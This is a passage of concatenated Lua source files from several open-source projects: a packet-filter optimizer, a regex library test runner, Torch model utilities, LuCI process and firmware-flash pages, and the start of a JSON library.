pushed -- by the containing relop. local db = db_t if op == '[]' then local pos, size = visit(expr[2], db), expr[3] local ret = { op, pos, size } local size_max if size == 1 then size_max = 0xff elseif size == 2 then size_max = 0xffff else size_max = 0xffffffff end local range = lookup(db, ret):restrict(Range(0, size_max)) return define(db, ret, range) elseif unops[op] then local rhs = visit(expr[2], db) local rhs_range = lookup(db, rhs) if rhs_range:fold() then return assert(folders[op])(rhs_range:fold()) end if (op == 'uint32' and 0 <= rhs_range:min() and rhs_range:max() <= UINT32_MAX) then return rhs elseif (op == 'int32' and INT32_MIN <= rhs_range:min() and rhs_range:max() <= INT32_MAX) then return rhs end local range = unop_range(op, rhs_range) return restrict(db, { op, rhs }, range) elseif binops[op] then local lhs, rhs = visit(expr[2], db), visit(expr[3], db) if type(lhs) == 'number' and type(rhs) == 'number' then return assert(folders[op])(lhs, rhs) end local lhs_range, rhs_range = lookup(db, lhs), lookup(db, rhs) local range = binop_range(op, lhs_range, rhs_range) return restrict(db, { op, lhs, rhs }, range) else error('what is this '..op) end end end return visit(expr, push(), push()) end -- Length assertion hoisting. local function lhoist(expr, db) -- Recursively annotate the logical expressions in EXPR, returning -- tables of the form { MIN_T, MIN_F, MIN_PASS, MAX_FAIL, EXPR }. -- MIN_T indicates that for this expression to be true, the packet -- must be at least as long as MIN_T. Similarly for MIN_F. MIN_PASS -- means that if the packet is smaller than MIN_PASS then the filter -- will definitely fail. MAX_FAIL means that if the packet is -- smaller than MAX_FAIL, there is a 'fail' call on some path. local function annotate(expr, is_tail) local function aexpr(min_t, min_f, min_pass, max_fail, expr) if is_tail then min_pass = math.max(min_pass, min_t) min_t = min_pass end return { min_t, min_f, min_pass, max_fail, expr } end local op = expr[1] if (op == '>=' and expr[2] == 'len' and type(expr[3]) == 'number') then return aexpr(expr[3], 0, 0, -1, expr) elseif op == 'if' then local test, t, f = expr[2], expr[3], expr[4] local test_a = annotate(test, false) local t_a, f_a = annotate(t, is_tail), annotate(f, is_tail) local test_min_t, test_min_f = test_a[1], test_a[2] local test_min_pass, test_max_fail = test_a[3], test_a[4] local function if_bool_mins() local t, f = t[1], f[1] local function branch_bool_mins(abranch, min) local branch_min_t, branch_min_f = abranch[1], abranch[2] return math.max(branch_min_t, min), math.max(branch_min_f, min) end local t_min_t, t_min_f = branch_bool_mins(t_a, test_min_t) local f_min_t, f_min_f = branch_bool_mins(f_a, test_min_f) if trueops[t] then t_min_f = f_min_f end if trueops[f] then f_min_f = t_min_f end if t == 'fail' then return f_min_t, f_min_f end if f == 'fail' then return t_min_t, t_min_f end if t == 'false' then t_min_t = f_min_t end if f == 'false' then f_min_t = t_min_t end return math.min(t_min_t, f_min_t), math.min(t_min_f, f_min_f) end local function if_fail_mins() local t, f = t[1], f[1] local min_pass, max_fail local t_min_pass, t_max_fail = t_a[3], t_a[4] local f_min_pass, f_max_fail = f_a[3], f_a[4] -- Four cases: both T and F branches are fail; one of them -- is a fail; neither are fails. if t == 'fail' then if f == 'fail' then min_pass = test_min_pass max_fail = UINT16_MAX else min_pass = math.max(test_min_f, f_min_pass, test_min_pass) max_fail = math.max(test_min_t, f_max_fail, test_max_fail) end elseif f == 'fail' then min_pass = math.max(test_min_t, t_min_pass, test_min_pass) max_fail = math.max(test_min_f, f_max_fail, test_max_fail) else min_pass = math.max(test_min_pass, math.min(t_min_pass, f_min_pass)) max_fail = math.max(t_max_fail, f_max_fail, test_max_fail) end return min_pass, max_fail end local min_t, min_f = if_bool_mins() local min_pass, max_fail = if_fail_mins() return aexpr(min_t, min_f, min_pass, max_fail, { op, test_a, t_a, f_a }) else return aexpr(0, 0, 0, -1, expr) end end -- Strip the annotated expression AEXPR. Whenever the packet needs -- be longer than the MIN argument, insert a length check and revisit -- with the new MIN. Elide other length checks. local function reduce(aexpr, min, is_tail) local min_t, min_f, min_pass, max_fail, expr = aexpr[1], aexpr[2], aexpr[3], aexpr[4], aexpr[5] -- Reject any packets that are too short to pass. if is_tail then min_pass = math.max(min_pass, min_t) end if min < min_pass then local expr = reduce(aexpr, min_pass, is_tail) return { 'if', { '>=', 'len', min_pass }, expr, { 'fail' } } end -- Hoist length checks if we know a packet must be of a certain -- length for the expression to be true, and we are certain that -- we aren't going to hit a "fail". if min < min_t and max_fail < min then local expr = reduce(aexpr, min_t, is_tail) return { 'if', { '>=', 'len', min_t }, expr, { 'false' } } end local op = expr[1] if op == 'if' then local t = reduce(expr[2], min, false) local kt = reduce(expr[3], min, is_tail) local kf = reduce(expr[4], min, is_tail) return { op, t, kt, kf } elseif op == '>=' and expr[2] == 'len' and type(expr[3]) == 'number' then -- min may be set conservatively low; it is *only* a lower bound. -- If expr[3] is <= min, { 'true' } is a valid optimization. -- Otherwise, there's not enough information; leave expr alone. if expr[3] <= min then return { 'true' } else return expr end else return expr end end return reduce(annotate(expr, true), 0, true) end function optimize_inner(expr) expr = simplify(expr, true) expr = simplify(cfold(expr, {}), true) expr = simplify(infer_ranges(expr), true) expr = simplify(lhoist(expr), true) clear_cache() return expr end function optimize(expr) expr = utils.fixpoint(optimize_inner, expr) if verbose then pp(expr) end return expr end function selftest () print("selftest: pf.optimize") local parse = require('pf.parse').parse local expand = require('pf.expand').expand local function opt(str) return optimize(expand(parse(str), "EN10MB")) end local equals, assert_equals = utils.equals, utils.assert_equals assert_equals({ 'fail' }, opt("1 = 2")) assert_equals({ '=', "len", 1 }, opt("1 = len")) assert_equals({ 'match' }, opt("1 = 2/2")) assert_equals({ 'if', { '>=', 'len', 1}, { '=', { '[]', 0, 1 }, 2 }, { 'fail' }}, opt("ether[0] = 2")) assert_equals({ 'if', { '>=', 'len', 7}, { '<', { '+', { '+', { '[]', 5, 1 }, { '[]', 6, 1 } }, 3 }, 10 }, { 'fail' }}, opt("(ether[5] + 1) + (ether[6] + 2) < 10")) assert_equals({ 'if', { '>=', 'len', 7}, { '<', { '+', { '+', { '[]', 5, 1 }, { '[]', 6, 1 } }, 3 }, 10 }, { 'fail' }}, opt("ether[5] + 1 + ether[6] + 2 < 10")) assert_equals({ '>=', 'len', 2}, opt("greater 1 and greater 2")) -- Could check this, but it's very large opt("tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)") opt("tcp port 5555") print("OK") end
apache-2.0
LuaDist/lrexlib-oniguruma
test/runtest.lua
5
3050
-- See Copyright Notice in the file LICENSE -- See if we have alien, so we can do tests with buffer subjects local ok ok, alien = pcall (require, "alien") if not ok then io.stderr:write ("Warning: alien not found, so cannot run tests with buffer subjects\n") end do local path = "./?.lua;" if package.path:sub(1, #path) ~= path then package.path = path .. package.path end end local luatest = require "luatest" -- returns: number of failures local function test_library (libname, setfile, verbose) if verbose then print (("[lib: %s; file: %s]"):format (libname, setfile)) end local lib = require (libname) local f = require (setfile) local sets = f (libname) local realalien = alien if libname == "rex_posix" and not lib.flags ().STARTEND and alien then alien = nil io.stderr:write ("Cannot run posix tests with alien without REG_STARTEND\n") end local n = 0 -- number of failures for _, set in ipairs (sets) do if verbose then print (set.Name or "Unnamed set") end local err = luatest.test_set (set, lib) if verbose then for _,v in ipairs (err) do print (" Test " .. v.i) luatest.print_results (v, " ") end end n = n + #err end if verbose then print "" end alien = realalien return n end local avail_tests = { posix = { lib = "rex_posix", "common_sets", "posix_sets" }, gnu = { lib = "rex_gnu", "common_sets", "emacs_sets", "gnu_sets" }, oniguruma = { lib = "rex_onig", "common_sets", "oniguruma_sets", }, pcre = { lib = "rex_pcre", "common_sets", "pcre_sets", "pcre_sets2", }, spencer = { lib = "rex_spencer", "common_sets", "posix_sets", "spencer_sets" }, tre = { lib = "rex_tre", "common_sets", "posix_sets", "spencer_sets", --[["tre_sets"]] }, } do local verbose, tests, nerr = false, {}, 0 local dir -- check arguments for i = 1, select ("#", ...) do local arg = select (i, ...) if arg:sub(1,1) == "-" then if arg == "-v" then verbose = true elseif arg:sub(1,2) == "-d" then dir = arg:sub(3) end else if avail_tests[arg] then tests[#tests+1] = avail_tests[arg] else error ("invalid argument: [" .. arg .. "]") end end end assert (#tests > 0, "no library specified") -- give priority to libraries located in the specified directory if dir then dir = dir:gsub("[/\\]+$", "") for _, ext in ipairs {"dll", "so", "dylib"} do if package.cpath:match ("%?%." .. ext) then local cpath = dir .. "/?." .. ext .. ";" if package.cpath:sub(1, #cpath) ~= cpath then package.cpath = cpath .. package.cpath end break end end end -- do tests for _, test in ipairs (tests) do package.loaded[test.lib] = nil -- to force-reload the tested library for _, setfile in ipairs (test) do nerr = nerr + test_library (test.lib, setfile, verbose) end end print ("Total number of failures: " .. nerr) end
mit
kimiyoung/review_net
image_caption_online/utils/model_utils.lua
1
8164
local model_utils = {} local net_utils = model_utils function model_utils.combine_all_parameters(...) --[[ like module:getParameters, but operates on many modules ]]-- -- get parameters local networks = {...} local parameters = {} local gradParameters = {} for i = 1, #networks do local net_params, net_grads = networks[i]:parameters() if net_params then for _, p in pairs(net_params) do parameters[#parameters + 1] = p end for _, g in pairs(net_grads) do gradParameters[#gradParameters + 1] = g end end end local function storageInSet(set, storage) local storageAndOffset = set[torch.pointer(storage)] if storageAndOffset == nil then return nil end local _, offset = unpack(storageAndOffset) return offset end -- this function flattens arbitrary lists of parameters, -- even complex shared ones local function flatten(parameters) if not parameters or #parameters == 0 then return torch.Tensor() end local Tensor = parameters[1].new local storages = {} local nParameters = 0 for k = 1,#parameters do local storage = parameters[k]:storage() if not storageInSet(storages, storage) then storages[torch.pointer(storage)] = {storage, nParameters} nParameters = nParameters + storage:size() end end local flatParameters = Tensor(nParameters):fill(1) local flatStorage = flatParameters:storage() for k = 1,#parameters do local storageOffset = storageInSet(storages, parameters[k]:storage()) parameters[k]:set(flatStorage, storageOffset + parameters[k]:storageOffset(), parameters[k]:size(), parameters[k]:stride()) parameters[k]:zero() end local maskParameters= flatParameters:float():clone() local cumSumOfHoles = flatParameters:float():cumsum(1) local nUsedParameters = nParameters - cumSumOfHoles[#cumSumOfHoles] local flatUsedParameters = Tensor(nUsedParameters) local flatUsedStorage = flatUsedParameters:storage() for k = 1,#parameters do local offset = cumSumOfHoles[parameters[k]:storageOffset()] parameters[k]:set(flatUsedStorage, parameters[k]:storageOffset() - offset, parameters[k]:size(), parameters[k]:stride()) end for _, storageAndOffset in pairs(storages) do local k, v = unpack(storageAndOffset) flatParameters[{{v+1,v+k:size()}}]:copy(Tensor():set(k)) end if cumSumOfHoles:sum() == 0 then flatUsedParameters:copy(flatParameters) else local counter = 0 for k = 1,flatParameters:nElement() do if maskParameters[k] == 0 then counter = counter + 1 flatUsedParameters[counter] = flatParameters[counter+cumSumOfHoles[k]] end end assert (counter == nUsedParameters) end return flatUsedParameters end -- flatten parameters and gradients local flatParameters = flatten(parameters) local flatGradParameters = flatten(gradParameters) -- return new flat vector that contains all discrete parameters return flatParameters, flatGradParameters end function model_utils.clone_many_times(net, T) local clones = {} local params, gradParams if net.parameters then params, gradParams = net:parameters() if params == nil then params = {} end end local paramsNoGrad if net.parametersNoGrad then paramsNoGrad = net:parametersNoGrad() end local mem = torch.MemoryFile("w"):binary() mem:writeObject(net) for t = 1, T do if t % 10 == 0 then print('cloning ' .. t) end -- We need to use a new reader for each clone. -- We don't want to use the pointers to already read objects. local reader = torch.MemoryFile(mem:storage(), "r"):binary() local clone = reader:readObject() reader:close() if net.parameters then local cloneParams, cloneGradParams = clone:parameters() local cloneParamsNoGrad for i = 1, #params do cloneParams[i]:set(params[i]) cloneGradParams[i]:set(gradParams[i]) end if paramsNoGrad then cloneParamsNoGrad = clone:parametersNoGrad() for i =1,#paramsNoGrad do cloneParamsNoGrad[i]:set(paramsNoGrad[i]) end end end clones[t] = clone collectgarbage() end mem:close() return clones end function model_utils.clean_gradients(net) local module_list = net:listModules() for k, m in ipairs(module_list) do if m.weight and m.gradWeight then m.gradWeight = nil end if m.bias and m.gradBias then m.gradBias = nil end end end function net_utils.list_nngraph_modules(g) local omg = {} for i,node in ipairs(g.forwardnodes) do local m = node.data.module if m then table.insert(omg, m) end end return omg end function net_utils.listModules(net) -- torch, our relationship is a complicated love/hate thing. And right here it's the latter local t = torch.type(net) local moduleList if t == 'nn.gModule' then moduleList = net_utils.list_nngraph_modules(net) else moduleList = net:listModules() end return moduleList end function net_utils.sanitize_gradients(net) local moduleList = net_utils.listModules(net) for k,m in ipairs(moduleList) do if m.weight and m.gradWeight then --print('sanitizing gradWeight in of size ' .. m.gradWeight:nElement()) --print(m.weight:size()) m.gradWeight = nil end if m.bias and m.gradBias then --print('sanitizing gradWeight in of size ' .. m.gradBias:nElement()) --print(m.bias:size()) m.gradBias = nil end end end function net_utils.unsanitize_gradients(net) local moduleList = net_utils.listModules(net) for k,m in ipairs(moduleList) do if m.weight and (not m.gradWeight) then m.gradWeight = m.weight:clone():zero() --print('unsanitized gradWeight in of size ' .. m.gradWeight:nElement()) --print(m.weight:size()) end if m.bias and (not m.gradBias) then m.gradBias = m.bias:clone():zero() --print('unsanitized gradWeight in of size ' .. m.gradBias:nElement()) --print(m.bias:size()) end end end function net_utils.adagrad(x, dx, lr, epsilon, state) if not state.m then state.m = x.new(#x):zero() state.tmp = x.new(#x) end -- calculate new mean squared values state.m:addcmul(1.0, dx, dx) -- perform update state.tmp:sqrt(state.m):add(epsilon) x:addcdiv(-lr, dx, state.tmp) end function net_utils.adam(x, dx, lr, beta1, beta2, epsilon, state) local beta1 = beta1 or 0.9 local beta2 = beta2 or 0.999 local epsilon = epsilon or 1e-8 if not state.m then -- Initialization state.t = 0 -- Exponential moving average of gradient values state.m = x.new(#dx):zero() -- Exponential moving average of squared gradient values state.v = x.new(#dx):zero() -- A tmp tensor to hold the sqrt(v) + epsilon state.tmp = x.new(#dx):zero() end -- Decay the first and second moment running average coefficient state.m:mul(beta1):add(1-beta1, dx) state.v:mul(beta2):addcmul(1-beta2, dx, dx) state.tmp:copy(state.v):sqrt():add(epsilon) state.t = state.t + 1 local biasCorrection1 = 1 - beta1^state.t local biasCorrection2 = 1 - beta2^state.t local stepSize = lr * math.sqrt(biasCorrection2)/biasCorrection1 -- perform update x:addcdiv(-stepSize, state.m, state.tmp) end function net_utils.sgd(x, dx, lr) x:add(-lr, dx) end return model_utils
mit
dismantl/luci-0.12
modules/admin-full/luasrc/model/cbi/admin_status/processes.lua
85
1448
--[[ LuCI - Lua Configuration Interface Copyright 2008 Steven Barth <steven@midlink.org> Copyright 2008 Jo-Philipp Wich <xm@leipzig.freifunk.net> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 $Id$ ]]-- f = SimpleForm("processes", translate("Processes"), translate("This list gives an overview over currently running system processes and their status.")) f.reset = false f.submit = false t = f:section(Table, luci.sys.process.list()) t:option(DummyValue, "PID", translate("PID")) t:option(DummyValue, "USER", translate("Owner")) t:option(DummyValue, "COMMAND", translate("Command")) t:option(DummyValue, "%CPU", translate("CPU usage (%)")) t:option(DummyValue, "%MEM", translate("Memory usage (%)")) hup = t:option(Button, "_hup", translate("Hang Up")) hup.inputstyle = "reload" function hup.write(self, section) null, self.tag_error[section] = luci.sys.process.signal(section, 1) end term = t:option(Button, "_term", translate("Terminate")) term.inputstyle = "remove" function term.write(self, section) null, self.tag_error[section] = luci.sys.process.signal(section, 15) end kill = t:option(Button, "_kill", translate("Kill")) kill.inputstyle = "reset" function kill.write(self, section) null, self.tag_error[section] = luci.sys.process.signal(section, 9) end return f
apache-2.0
Noltari/luci
modules/luci-mod-failsafe/luasrc/controller/failsafe/failsafe.lua
41
5011
-- Copyright 2008 Steven Barth <steven@midlink.org> -- Copyright 2008-2011 Jo-Philipp Wich <jow@openwrt.org> -- Copyright 2012 Daniel Golle <dgolle@allnet.de> -- Licensed to the public under the Apache License 2.0. module("luci.controller.failsafe.failsafe", package.seeall) function index() local root = node() if not root.target then root.target = alias("failsafe") root.index = true end page = node() page.lock = true page.target = alias("failsafe") page.subindex = true page.index = false page = node("failsafe") page.title = _("Fail-safe") page.target = alias("failsafe", "flashops") page.order = 5 page.setuser = "root" page.setgroup = "root" page.index = true entry({"failsafe", "flashops"}, call("action_flashops"), _("Flash Firmware"), 70).index = true entry({"failsafe", "reboot"}, call("action_reboot"), _("Reboot"), 90) end function action_flashops() local sys = require "luci.sys" local fs = require "nixio.fs" local upgrade_avail = fs.access("/lib/upgrade/platform.sh") local reset_avail = os.execute([[grep '"rootfs_data"' /proc/mtd >/dev/null 2>&1]]) == 0 local image_tmp = "/tmp/firmware.img" local function image_supported() -- XXX: yay... return ( 0 == os.execute( ". /lib/functions.sh; " .. "include /lib/upgrade; " .. "platform_check_image %q >/dev/null" % image_tmp ) ) end local function image_checksum() return (luci.sys.exec("md5sum %q" % image_tmp):match("^([^%s]+)")) end local function storage_size() local size = 0 if fs.access("/proc/mtd") then for l in io.lines("/proc/mtd") do local d, s, e, n = l:match('^([^%s]+)%s+([^%s]+)%s+([^%s]+)%s+"([^%s]+)"') if n == "linux" or n == "firmware" then size = tonumber(s, 16) break end end elseif fs.access("/proc/partitions") then for l in io.lines("/proc/partitions") do local x, y, b, n = l:match('^%s*(%d+)%s+(%d+)%s+([^%s]+)%s+([^%s]+)') if b and n and not n:match('[0-9]') then size = tonumber(b) * 1024 break end end end return size end local fp luci.http.setfilehandler( function(meta, chunk, eof) if not fp then if meta and meta.name == "image" then fp = io.open(image_tmp, "w") end end if fp then if chunk then fp:write(chunk) end if eof then fp:close() end end end ) if luci.http.formvalue("image") or luci.http.formvalue("step") then -- -- Initiate firmware flash -- local step = tonumber(luci.http.formvalue("step") or 1) if step == 1 then if image_supported() then luci.template.render("failsafe/upgrade", { checksum = image_checksum(), storage = storage_size(), size = (fs.stat(image_tmp, "size") or 0), keep = false }) else fs.unlink(image_tmp) luci.template.render("failsafe/flashops", { reset_avail = reset_avail, upgrade_avail = upgrade_avail, image_invalid = true }) end -- -- Start sysupgrade flash -- elseif step == 2 then local keep = (luci.http.formvalue("keep") == "1") and "" or "-n" luci.template.render("failsafe/applyreboot", { title = luci.i18n.translate("Flashing..."), msg = luci.i18n.translate("The system is flashing now.<br /> DO NOT POWER OFF THE DEVICE!<br /> Wait a few minutes before you try to reconnect. It might be necessary to renew the address of your computer to reach the device again, depending on your settings."), addr = (#keep > 0) and "192.168.1.1" or nil }) fork_exec("killall dropbear uhttpd; sleep 1; /sbin/sysupgrade %s %q" %{ keep, image_tmp }) end else -- -- Overview -- luci.template.render("failsafe/flashops", { reset_avail = reset_avail, upgrade_avail = upgrade_avail }) end end function action_reboot() local reboot = luci.http.formvalue("reboot") luci.template.render("failsafe/reboot", {reboot=reboot}) if reboot then luci.sys.reboot() end end function fork_exec(command) local pid = nixio.fork() if pid > 0 then return elseif pid == 0 then -- change to root dir nixio.chdir("/") -- patch stdin, out, err to /dev/null local null = nixio.open("/dev/null", "w+") if null then nixio.dup(null, nixio.stderr) nixio.dup(null, nixio.stdout) nixio.dup(null, nixio.stdin) if null:fileno() > 2 then null:close() end end -- replace with target command nixio.exec("/bin/sh", "-c", command) end end function ltn12_popen(command) local fdi, fdo = nixio.pipe() local pid = nixio.fork() if pid > 0 then fdo:close() local close return function() local buffer = fdi:read(2048) local wpid, stat = nixio.waitpid(pid, "nohang") if not close and wpid and stat == "exited" then close = true end if buffer and #buffer > 0 then return buffer elseif close then fdi:close() return nil end end elseif pid == 0 then nixio.dup(fdo, nixio.stdout) fdi:close() fdo:close() nixio.exec("/bin/sh", "-c", command) end end
apache-2.0
nort-ir/nort
libs/JSON.lua
3765
34843
-- -*- coding: utf-8 -*- -- -- Simple JSON encoding and decoding in pure Lua. -- -- Copyright 2010-2014 Jeffrey Friedl -- http://regex.info/blog/ -- -- Latest version: http://regex.info/blog/lua/json -- -- This code is released under a Creative Commons CC-BY "Attribution" License: -- http://creativecommons.org/licenses/by/3.0/deed.en_US -- -- It can be used for any purpose so long as the copyright notice above, -- the web-page links above, and the 'AUTHOR_NOTE' string below are -- maintained. Enjoy. -- local VERSION = 20141223.14 -- version history at end of file local AUTHOR_NOTE = "-[ JSON.lua package by Jeffrey Friedl (http://regex.info/blog/lua/json) version 20141223.14 ]-" -- -- The 'AUTHOR_NOTE' variable exists so that information about the source -- of the package is maintained even in compiled versions. It's also -- included in OBJDEF below mostly to quiet warnings about unused variables. -- local OBJDEF = { VERSION = VERSION, AUTHOR_NOTE = AUTHOR_NOTE, } -- -- Simple JSON encoding and decoding in pure Lua. -- http://www.json.org/ -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- -- -- -- DECODING (from a JSON string to a Lua table) -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- If the JSON text is for an object or an array, e.g. -- { "what": "books", "count": 3 } -- or -- [ "Larry", "Curly", "Moe" ] -- -- the result is a Lua table, e.g. -- { what = "books", count = 3 } -- or -- { "Larry", "Curly", "Moe" } -- -- -- The encode and decode routines accept an optional second argument, -- "etc", which is not used during encoding or decoding, but upon error -- is passed along to error handlers. It can be of any type (including nil). -- -- -- -- ERROR HANDLING -- -- With most errors during decoding, this code calls -- -- JSON:onDecodeError(message, text, location, etc) -- -- with a message about the error, and if known, the JSON text being -- parsed and the byte count where the problem was discovered. You can -- replace the default JSON:onDecodeError() with your own function. -- -- The default onDecodeError() merely augments the message with data -- about the text and the location if known (and if a second 'etc' -- argument had been provided to decode(), its value is tacked onto the -- message as well), and then calls JSON.assert(), which itself defaults -- to Lua's built-in assert(), and can also be overridden. -- -- For example, in an Adobe Lightroom plugin, you might use something like -- -- function JSON:onDecodeError(message, text, location, etc) -- LrErrors.throwUserError("Internal Error: invalid JSON data") -- end -- -- or even just -- -- function JSON.assert(message) -- LrErrors.throwUserError("Internal Error: " .. message) -- end -- -- If JSON:decode() is passed a nil, this is called instead: -- -- JSON:onDecodeOfNilError(message, nil, nil, etc) -- -- and if JSON:decode() is passed HTML instead of JSON, this is called: -- -- JSON:onDecodeOfHTMLError(message, text, nil, etc) -- -- The use of the fourth 'etc' argument allows stronger coordination -- between decoding and error reporting, especially when you provide your -- own error-handling routines. Continuing with the the Adobe Lightroom -- plugin example: -- -- function JSON:onDecodeError(message, text, location, etc) -- local note = "Internal Error: invalid JSON data" -- if type(etc) = 'table' and etc.photo then -- note = note .. " while processing for " .. etc.photo:getFormattedMetadata('fileName') -- end -- LrErrors.throwUserError(note) -- end -- -- : -- : -- -- for i, photo in ipairs(photosToProcess) do -- : -- : -- local data = JSON:decode(someJsonText, { photo = photo }) -- : -- : -- end -- -- -- -- -- -- DECODING AND STRICT TYPES -- -- Because both JSON objects and JSON arrays are converted to Lua tables, -- it's not normally possible to tell which original JSON type a -- particular Lua table was derived from, or guarantee decode-encode -- round-trip equivalency. -- -- However, if you enable strictTypes, e.g. -- -- JSON = assert(loadfile "JSON.lua")() --load the routines -- JSON.strictTypes = true -- -- then the Lua table resulting from the decoding of a JSON object or -- JSON array is marked via Lua metatable, so that when re-encoded with -- JSON:encode() it ends up as the appropriate JSON type. -- -- (This is not the default because other routines may not work well with -- tables that have a metatable set, for example, Lightroom API calls.) -- -- -- ENCODING (from a lua table to a JSON string) -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- local custom_pretty = JSON:encode(lua_table_or_value, etc, { pretty = true, indent = "| ", align_keys = false }) -- -- On error during encoding, this code calls: -- -- JSON:onEncodeError(message, etc) -- -- which you can override in your local JSON object. -- -- The 'etc' in the error call is the second argument to encode() -- and encode_pretty(), or nil if it wasn't provided. -- -- -- PRETTY-PRINTING -- -- An optional third argument, a table of options, allows a bit of -- configuration about how the encoding takes place: -- -- pretty = JSON:encode(val, etc, { -- pretty = true, -- if false, no other options matter -- indent = " ", -- this provides for a three-space indent per nesting level -- align_keys = false, -- see below -- }) -- -- encode() and encode_pretty() are identical except that encode_pretty() -- provides a default options table if none given in the call: -- -- { pretty = true, align_keys = false, indent = " " } -- -- For example, if -- -- JSON:encode(data) -- -- produces: -- -- {"city":"Kyoto","climate":{"avg_temp":16,"humidity":"high","snowfall":"minimal"},"country":"Japan","wards":11} -- -- then -- -- JSON:encode_pretty(data) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- The following three lines return identical results: -- JSON:encode_pretty(data) -- JSON:encode_pretty(data, nil, { pretty = true, align_keys = false, indent = " " }) -- JSON:encode (data, nil, { pretty = true, align_keys = false, indent = " " }) -- -- An example of setting your own indent string: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = "| " }) -- -- produces: -- -- { -- | "city": "Kyoto", -- | "climate": { -- | | "avg_temp": 16, -- | | "humidity": "high", -- | | "snowfall": "minimal" -- | }, -- | "country": "Japan", -- | "wards": 11 -- } -- -- An example of setting align_keys to true: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = " ", align_keys = true }) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- which I must admit is kinda ugly, sorry. This was the default for -- encode_pretty() prior to version 20141223.14. -- -- -- AMBIGUOUS SITUATIONS DURING THE ENCODING -- -- During the encode, if a Lua table being encoded contains both string -- and numeric keys, it fits neither JSON's idea of an object, nor its -- idea of an array. To get around this, when any string key exists (or -- when non-positive numeric keys exist), numeric keys are converted to -- strings. -- -- For example, -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- produces the JSON object -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To prohibit this conversion and instead make it an error condition, set -- JSON.noKeyConversion = true -- -- -- SUMMARY OF METHODS YOU CAN OVERRIDE IN YOUR LOCAL LUA JSON OBJECT -- -- assert -- onDecodeError -- onDecodeOfNilError -- onDecodeOfHTMLError -- onEncodeError -- -- If you want to create a separate Lua JSON object with its own error handlers, -- you can reload JSON.lua or use the :new() method. -- --------------------------------------------------------------------------- local default_pretty_indent = " " local default_pretty_options = { pretty = true, align_keys = false, indent = default_pretty_indent } local isArray = { __tostring = function() return "JSON array" end } isArray.__index = isArray local isObject = { __tostring = function() return "JSON object" end } isObject.__index = isObject function OBJDEF:newArray(tbl) return setmetatable(tbl or {}, isArray) end function OBJDEF:newObject(tbl) return setmetatable(tbl or {}, isObject) end local function unicode_codepoint_as_utf8(codepoint) -- -- codepoint is a number -- if codepoint <= 127 then return string.char(codepoint) elseif codepoint <= 2047 then -- -- 110yyyxx 10xxxxxx <-- useful notation from http://en.wikipedia.org/wiki/Utf8 -- local highpart = math.floor(codepoint / 0x40) local lowpart = codepoint - (0x40 * highpart) return string.char(0xC0 + highpart, 0x80 + lowpart) elseif codepoint <= 65535 then -- -- 1110yyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x1000) local remainder = codepoint - 0x1000 * highpart local midpart = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midpart highpart = 0xE0 + highpart midpart = 0x80 + midpart lowpart = 0x80 + lowpart -- -- Check for an invalid character (thanks Andy R. at Adobe). -- See table 3.7, page 93, in http://www.unicode.org/versions/Unicode5.2.0/ch03.pdf#G28070 -- if ( highpart == 0xE0 and midpart < 0xA0 ) or ( highpart == 0xED and midpart > 0x9F ) or ( highpart == 0xF0 and midpart < 0x90 ) or ( highpart == 0xF4 and midpart > 0x8F ) then return "?" else return string.char(highpart, midpart, lowpart) end else -- -- 11110zzz 10zzyyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x40000) local remainder = codepoint - 0x40000 * highpart local midA = math.floor(remainder / 0x1000) remainder = remainder - 0x1000 * midA local midB = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midB return string.char(0xF0 + highpart, 0x80 + midA, 0x80 + midB, 0x80 + lowpart) end end function OBJDEF:onDecodeError(message, text, location, etc) if text then if location then message = string.format("%s at char %d of: %s", message, location, text) else message = string.format("%s: %s", message, text) end end if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end OBJDEF.onDecodeOfNilError = OBJDEF.onDecodeError OBJDEF.onDecodeOfHTMLError = OBJDEF.onDecodeError function OBJDEF:onEncodeError(message, etc) if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end local function grok_number(self, text, start, etc) -- -- Grab the integer part -- local integer_part = text:match('^-?[1-9]%d*', start) or text:match("^-?0", start) if not integer_part then self:onDecodeError("expected number", text, start, etc) end local i = start + integer_part:len() -- -- Grab an optional decimal part -- local decimal_part = text:match('^%.%d+', i) or "" i = i + decimal_part:len() -- -- Grab an optional exponential part -- local exponent_part = text:match('^[eE][-+]?%d+', i) or "" i = i + exponent_part:len() local full_number_text = integer_part .. decimal_part .. exponent_part local as_number = tonumber(full_number_text) if not as_number then self:onDecodeError("bad number", text, start, etc) end return as_number, i end local function grok_string(self, text, start, etc) if text:sub(start,start) ~= '"' then self:onDecodeError("expected string's opening quote", text, start, etc) end local i = start + 1 -- +1 to bypass the initial quote local text_len = text:len() local VALUE = "" while i <= text_len do local c = text:sub(i,i) if c == '"' then return VALUE, i + 1 end if c ~= '\\' then VALUE = VALUE .. c i = i + 1 elseif text:match('^\\b', 